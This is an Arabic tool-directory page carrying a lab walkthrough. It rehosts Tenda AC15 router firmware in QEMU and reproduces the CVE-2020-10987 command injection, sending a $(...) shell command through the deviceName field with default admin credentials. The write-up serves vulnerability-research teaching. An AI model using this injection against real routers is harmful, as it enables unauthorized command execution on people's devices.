Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Tenda-Router-VR-and-Exploit — شرح حول إعادة استضافة البرنامج الثابت لجهاز التوجيه Tenda AC15 وإعادة إنتاج استغلال تنفيذ الأوامر عن بُعد (CVE-2020-10987). | Kitploit
أدوات/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
أمان الأنظمة المدمجةأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاختبار الاختراقأمن الأجهزةالتعلم والتعليمتحليل البرامج الثابتة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
استغلال الملفات الثنائية
مختبرات وتدريب عملي
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

شرح حول إعادة استضافة البرنامج الثابت لجهاز التوجيه Tenda AC15 وإعادة إنتاج استغلال تنفيذ الأوامر عن بُعد (CVE-2020-10987).

عرض المستودع
14منذ 9 أشهرلم تتم المراجعة بعد

Tenda-Router-VR-and-Exploit

توضح هذه المقالة بالضبط كيف قمت بمحاكاة خادم الويب الخاص بالبرامج الثابتة لجهاز AC15 (V15.03.05.19) باستخدام QEMU، وجعلته قابلاً للوصول من متصفح المضيف، واختبرت المعالج الضعيف /goform/setUsbUnload (CVE-2020-10987) للحصول على تنفيذ أوامر داخل نظام الملفات الجذرية المُحاكى.


نظرة عامة

  • استخراج (أو في حالتنا الحصول على) نظام ملفات squashfs من صورة البرامج الثابتة والبدء في الهندسة العكسية
  • بناء نظام ضيف Debian armhf يعمل تحت qemu-system-arm
  • إعداد شبكة الضيف ومسار إعادة توجيه المنافذ إلى جهاز التوجيه المُحاكى
  • بناء سكربت الإقلاع الخاص بنا
  • استغلال جهاز التوجيه المُحاكى

استخراج نظام الملفات

أولاً، نحتاج إلى الحصول على صورة البرامج الثابتة. لم أتمكن من العثور على تنزيل الصورة لـ AC15 V15.03.05.19، لكنني تمكنت من العثور على مستودع GitHub يحتوي على نظام ملفات squashfs المستخرج بالفعل. إذا كان لدينا ملف الصورة الصحيح، فيمكننا استخراجه باستخدام binwalk كما يلي،``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
بما أنه ليس لدينا ملف الصورة الصحيح ولكن لدينا مستودع يحتوي على نظام الملفات المستخرج بالفعل، يمكننا فقط استنساخ المستودع.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

لقد أنشأت مجلدًا باسم VR واستنسخت هذا المستودع بداخله. rootfs الخاص بي موجود في $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs.

رائع، الآن لدينا البرنامج الثابت الخاص بـ AC15 V15.03.05.19. دعنا ننتقل إلى بعض الهندسة العكسية لنرى ما الذي يحدث.

الهندسة العكسية

سأستخدم Ghidra 11.4.2 للهندسة العكسية. دعنا ننتقل إلى الملف الثنائي المستهدف هنا rootfs/bin/httpd ونحمّله في Ghidra. إذا انتقلنا إلى الدالة formsetUsbUnload فسنرى،```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
هذه هي الثغرة. يتم تمرير المعامل `deviceName` مباشرة إلى `doSystemCmd` مما يسمح لنا بإرسال أي أوامر نريدها.

الآن وبما أننا سنعيد استضافة هذا البرنامج الثابت باستخدام qemu وليس أجهزة الراوتر الأصلية، فبعض البرامج ستحاول الوصول إلى أجهزة غير موجودة مما يؤدي إلى تعطّل بدء التشغيل لدينا.
وبما أن هدفنا هو استغلال خادم الويب (`httpd`)، فقد ركّزت فقط على إعادة استضافة هذا الثنائي وليس كامل عملية بدء التشغيل (`/rootfs/etc_ro/init.d/rcS`). _بعد فوات الأوان، لست متأكدًا من أن هذا كان القرار الصحيح_

لذا عند النظر إلى `rcS`، أردت العثور على أي شيء قد يفعله `rcS` مما قد يحتاجه `httpd`. في نهاية الملف يمكننا رؤية:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS يشغّل cfmd في الخلفية قبل أن يعمل باقي الحزمة مباشرة. بعد مزيد من البحث والاطلاع على كيفية إرسال الدالة الضعيفة للأمر، توصلت إلى الاستنتاج التالي:

  • httpd يبني cfm post
  • ثم يتواصل عميل cfm مع cfmd عبر مقبس نطاق UNIX (مثل /var/cfm_socket)

في روتين InitServer في cfmd يمكننا رؤية```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
يقوم بإنشاء مقبس UIX ويستمع.
بشكل عام، يقرأ المعالج إطارًا ثابتًا بحجم 0x7e0 بايت من كل عميل (`RecvMsg`/`SendMsg`). أول 4 بايتات هي رمز أمر؛ ثم هناك مخزن مفاتيح بحجم 512 بايت ومخزن قيم بحجم 1500 بايت (يمكنك رؤية أحجام كائنات المكدس في المعالج). يقوم بالتبديل بناءً على رمز العملية ويرد برمز ACK:
- `2` -> Get: `GetCfmValue(key, value)` ثم يرد برمز `3`
- `0` -> Set: `SetCfmValue(key, value)` ثم يرد برمز `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` ثم يرد برمز `0x12`
- `10` -> Commit: `SaveCfm2Flash()` ثم يرد بـ `0x10` (OK) أو `0xB` (خطأ)

لذا، من أجل محاكاة `cfmd`، أنشأت سكربتًا قصيرًا `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

سأوضح كيفية تجميع هذا بعد الجزء التالي.

ملف المساعدة التالي هو hooks.so. هناك بعض الدوال المستخدمة في httpd وcfm تحاول التفاعل مع عتاد غير موجود. فيما يلي ما يفترضه برنامجنا عند بدء التشغيل

  • أقسام Flash وMTD موجودة وقابلة للتركيب.
  • يوجد جهاز NVRAM (/dev/nvram) ويعيد قيمًا افتراضية سليمة.
  • تنجح الإجراءات الروتينية المتنوعة للمنصة (محمل إعدادات الطبقة السابعة، استعادة طاقة RF، إلخ).

تصبح الدوال التالية مشكلة، ولذلك يتعين علينا تطبيق الترقيع باستخدام LD_PRELOAD=/hooks.so.

  • get_flash_type() -> إذا أعادت 4، يسلك الكود مسارًا قائمًا على الملفات (cfm_file_init)، وإلا يحاول التحدث إلى MTD (وهو ما لا نملكه).
  • get_cfm_blk_size_from_cache() (و/أو البديل j_get_cfm_blk_size_from_cache) يُستشار لتحديد حجم كتلة الإعدادات.
  • يجب ألا تفشل الاستدعاءات إلى طبقات التوافق الخاصة بـ Broadcom NVRAM (bcm_nvram_get)، وإلا سيفترض النظام أن “NVRAM مدمرة” ويتجه إلى منطق الاستعادة/إعادة التشغيل.
  • من المتوقع أن تنجح الإجراءات الإضافية مثل load_l7setting_file() وrestore_power()، لكنها تتعامل مع عتاد/ملفات غير موجودة.

إليك hooks.c الخاص بنا. يعود الفضل إلى azeria-labs في النسخة الأصلية.```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
الآن دعونا نقوم بتجميع هذه الملفات ووضعها في البرنامج الثابت الخاص بنا.
للتجميع المتقاطع، يمكننا استخدام سلسلة أدوات uClibc المجمعة مسبقًا من Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

No content was provided to translate. Please supply the Markdown text for chunk 17 of 57.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
الآن يمكننا التجميع باستخدام```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

ثم أخيرًا قم بتثبيتها في البرنامج الثابت``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## بناء نظام ضيف ARM
لنقم بإعداد نظام الضيف ARM باستخدام نظام qemu الكامل.
أنشأت دليلاً لاحتواء نظام الضيف هذا في `~/qsys`

الآن في هذا الدليل، لنقم بإعداد الضيف باتباع ما يلي```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

سيقوم هذا بإنشاء rootfs لـ armhf، وتحديث الضيف، وإعداد بعض الأدوات الأساسية، ثم تعيين username:password للجذر إلى root:root.

بعد ذلك، قم بتثبيت نواة armhf باستخدام```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
ثم ننسخ النواة ونبني صورة ext4.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

الآن لتشغيل نظام الضيف لدينا من ~/qsys قم بتشغيل```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
إليك شرح سريع لما تعنيه هذه الأسطر في أمر الإقلاع فعليًا.

- `-M vexpress-a9 -cpu cortex-a9 -m 512M` استخدم نموذج اللوحة Versatile Express A9 (لوحة مدعومة من نواة armmp الخاصة بدبيان)
- `-kernel/-dtb/-initr` قم بإقلاع نواة/initrd الخاصة بدبيان لهذه اللوحة، مع device-tree blob الخاص بـ vexpress
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` إعداد قياسي لنظام ملفات الجذر على بطاقة SD مع وحدة تحكم تسلسلية على PL011.
- `-nographic -audiodev none,id=noaudio` واجهة تسلسلية فقط (بدون نافذة SDL) وبدون صوت.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT في وضع المستخدم الخاص بـ QEMU؛ أعد توجيه `host:2222` إلى `guest:22` و`host:8080` إلى `guest:80`. هذا مهم للشبكات. سنتحدث عن هذا بمزيد من التفصيل لاحقًا.
- `-device virtio-net-device,netdev=net0` أرفق بطاقة شبكة بالواجهة الخلفية `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` يعيش نظام ملفات الجذر لدبيان على جهاز كتلة شبيه ببطاقة SD (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` اكشف rootfs الخاص بالبرنامج الثابت (للقراءة فقط) داخل الضيف عبر 9p بالعلامة `fw`. سنقوم بتركيبه عند `/firmware` ونضع overlayfs فوقه لقابلية الكتابة.

الآن داخل الضيف قد تواجه بعض الأخطاء. لا بأس في ذلك طالما وصلت إلى موجه تسجيل الدخول وتمكنت من الدخول باستخدام `root:root`.

بعد ذلك، لتشغيل الإنترنت على نظام الضيف، نفّذ ما يلي```
dhclient -v eth0  ||  udhcpc -i eth0

سيحصل هذا على عقد DHCP على eth0

الآن قم بتثبيت socat``` apt-get update && apt-get install -y socat

root@kitploit:~
## سكربت الإقلاع
بعد ذلك، لننشئ سكربت الإقلاع داخل الدليل الجذر للنظام الضيف.```bash
nano boot_tenda.sh

إليك سكربت الإقلاع /root/boot_tenda_sh داخل ضيفنا مع تعليقات تشرح كل خطوة.```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
الآن حان وقت تشغيله.```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

سترى مستمعًا على المنفذ 80 مع httpd للتحقق أكثر، انتقل إلى http://127.0.0.1:8080/ على جهازك وستتمكن من رؤية الصفحة الرئيسية للموجّه.

إذا كنت تريد معرفة المزيد حول كيفية عمل الشبكات، فتابع القراءة، وإن لم يكن كذلك يمكنك الانتقال إلى القسم الأخير حيث نستغل خادم الويب.

نظرة سريعة على كيفية عمل الشبكات

احتجنا إلى تحميل httpd الخاص بالموجّه داخل الضيف (guest) مع جعله قابلًا للوصول من متصفح المضيف على http://127.0.0.1:8080/ بينما ما يزال الخادم يعتقد أنه مربوط بعنوان LAN الخاص بالموجّه (192.168.0.1). هناك ثلاثة عناصر تجعل هذا يعمل:

  1. شبكات مستخدم QEMU (slirp) + hostfwd
  2. واجهة LAN وهمية داخل الضيف (br0 على 192.168.0.1)
  3. مرحّل TCP محلي داخل الضيف (socat)

1. شبكات مستخدم QEMU (slirp) + hostfwd

نقوم بذلك في أمر التشغيل عندما نحدد```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` يتيح slirp (NAT بوضع المستخدم في QEMU): يحصل الضيف على اتصال إنترنت صادر (DHCP، DNS) دون الحاجة إلى جسور جذر أو أجهزة TAP على المضيف.
- `hostfwd=tcp::2222-:22` يعيد توجيه منفذ المضيف 2222 -> منفذ الضيف 22.
- `hostfwd=tcp::8080-:80` يعيد توجيه منفذ المضيف 8080 -> منفذ الضيف 80.

ثم نحصل على عقد DHCP لـ `eth0`. لاحظ أن Slirp عادةً ما يخصص للضيف `10.0.2.15`، مع البوابة عند `10.0.2.2`.```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. اجعل عنوان IP الخاص بشبكة LAN الخاصة بالموجّه موجودًا في الضيف

يتوقّع البرنامج الثابت الفعلي الارتباط بجسر LAN المسمّى br0 على 192.168.0.1. نعيد إنشاء ذلك:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
- غالبًا ما تستعلم الثنائيات (أو مكتباتها) عن أسماء الواجهات (مثل `lan_ifname=br0`) وتتوقع وجود جهاز جسر.
- ربط httpd بـ `192.168.0.1` يجعل السلوك/عمليات إعادة التوجيه (مثل `302` إلى `http://192.168.0.1/main.html`) مطابقة للجهاز الحقيقي.
- في هذه المرحلة، يستمع httpd فقط على `192.168.0.1:80` (وليس على `eth0` الخاص بالضيف).

### 3. جسر hostfwd -> مستمع البرنامج الثابت مع `socat`
`host:8080` -> `guest:80` مُعد مسبقًا بواسطة QEMU. لكن `httpd` لا يستمع على `eth0:80` الخاص بالضيف؛ بل يستمع على `192.168.0.1:80`. لذا داخل الضيف نضيف مرحّل TCP صغير:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

فيما يلي التخطيط العام``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## وقت الاستغلال
يحمي مكدس الويب نقاط نهاية "goform" خلف بعض فحوصات نفس الأصل/AJAX وملف تعريف ارتباط "تسجيل الدخول". أرسل نفس الترويسات التي سيرسلها جافاسكربت الواجهة:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload
  • Host/Origin/Referer/X-Requested-With يجتاز فحوصات AJAX + نفس الأصل في المعالج
  • Cookie: user=admin; password=<md5> يحاكي جلسة تسجيل دخول. في هذه الحالة استخدمت md5("admin") = 21232f297a57a5a743894a0e4a801fc3
  • deviceName=$(touch /tmp/Hello_World) يضبط اسم الجهاز على الأمر الذي نريد تنفيذه. في هذه الحالة نقوم بإنشاء ملف /tmp/Hello_World ملاحظة أن تشغيل هذا الأمر سيعلق لفترة ثم على الأرجح سيغلق الاتصال مع خطأ. هذا أمر طبيعي ودليل على نجاحه.

بعد ذلك، في الضيف للتحقق بشكل أكبر، يمكننا التحقق من وجود ملفنا الجديد.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
يجب أن ترى```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

لقد نجحنا في استغلال الموجّه المُعاد استضافته من خلال تنفيذ الأمر الذي أرسلناه

تنزيل الأداة